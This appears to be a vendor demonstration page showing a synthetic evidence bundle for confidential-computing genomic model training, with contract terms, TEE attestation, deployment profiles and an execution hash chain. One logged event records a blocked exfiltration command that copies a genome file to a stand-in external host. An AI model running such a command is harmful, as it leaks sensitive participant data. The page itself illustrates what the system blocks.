COMPEX / SECTOR EVIDENCE SUMMARY

Clinical & Genomic Research

A synthetic demonstration bundle showing the exact evidence shape a production Compex run exports: signed contract, hardware attestation and an ordered hash chain of every allowed and blocked operation.

BUNDLE	CONTRACT	ATTESTATION
EV-RES-2026-11-001	PC-RES-2026-11	AMD SEV-SNP + NVIDIA Blackwell CC

Pipeline Contract

Purpose	Multi-center genomic model training
Data owner	Biobank Data Access Committee
Reviewer	DPO / Multi-party DAC
Allowed columns	variant_allele_freq, variant_id, cohort_count, phenotype_group
Blocked columns	raw_genome, participant_id, full_variant_table
Command allow-list	read_approved_variant_columns, aggregate_gradients, emit_model_update
Output limit	gradient update + metrics; no raw sequences
Retention	0 days raw; model update retained 90 days

contract_hash

090789488ca11536d63b40d11fe5b6a89f42a558fdd5cb1c59d86ae2297bb423

Hardware attestation

TEE type	AMD SEV-SNP + NVIDIA Blackwell CC
Verification	CPU and GPU reports verified | report_data binds the per-site contract hash and training digest

tee_attestation_quote

h4MHFwcW2qHz0rad/h1DwJ/jGL79mxeRVIRtRcXKfISHgwcXBxbaofPStp3+HUPAn+MYvv2bF5FUhG1Fxcp8hA==

Deployment profiles

LAYER	CLOUD CONFIDENTIAL VPC	ON-PREMISE / AIR-GAPPED
Data lives in	Multi-site confidential VPCs with a per-site contract and per-site attestation.	Each biobank's own air-gapped racks; only encrypted gradients meet.
TEE hardware	AWS Nitro Enclaves; Azure/GCP Confidential VMs on AMD SEV-SNP or Intel TDX; NVIDIA H100 confidential GPUs for training.	Bare-metal AMD EPYC (SEV-SNP), Intel Xeon (TDX) and NVIDIA H100/Blackwell GPU TEEs over encrypted PCIe.
Locked out	Cloud provider admins, the host OS/hypervisor and the external AI vendor.	Internal root sysadmins, hypervisor operators and third-party model/agent developers.
Egress	Each site keeps its own zero-egress subnet; only attested gradient updates meet.	Strictly air-gapped: 0.0.0.0 outbound blocked. The local verifier checks the silicon signature offline.

Evidence bundle

Execution hash chain

Every permitted read and every refused operation is written in order. The chain head is signed by the TEE.

SEQ	TYPE	EVENT	SHA-256
001	CONTRACT	Pipeline Contract PC-RES-2026-11 verified against the multi-party DAC signature.	77a020a85ab72f24385f...
002	ATTEST	AMD SEV-SNP and NVIDIA Blackwell reports verified; report_data binds the contract hash.	bf604372210802dcb630...
003	READ	Allow-listed read: variant_allele_freq, variant_id, cohort_count, phenotype_group.	979463d4fb096678c8c9...
004	OUTPUT	Signed model update released: encrypted gradient delta + metrics only.	0bfa69e7896e41f3ae3e...
005	BLOCKED	Out-of-scope read refused: SELECT * row reconstruction.	f93a58cda9caf523bbe8...
006	BLOCKED	Egress blocked: scp /data/genome.vcf https://external.example.	44bcd2710972f157de15...
007	SEALED	Evidence bundle sealed; hash chain head signed by the TEE.	3af27d540c97cebaf9b3...

Files in this bundle

FILE	SIZE	SHA-256 (synthetic)
evidence.json	4 KB	58ba840d7d6924cb2610c15dd176739826ef...
summary.pdf	7 KB	c9cdc08cb59a8fcff274235139a86062da5b...
audit.csv	2 KB	42531f31e2f5b3d7809e65d7cffe429c10d0...

Synthetic demonstration bundle. No customer data is included. Compex produces technical evidence of how a workload executed; legal conclusions are yours.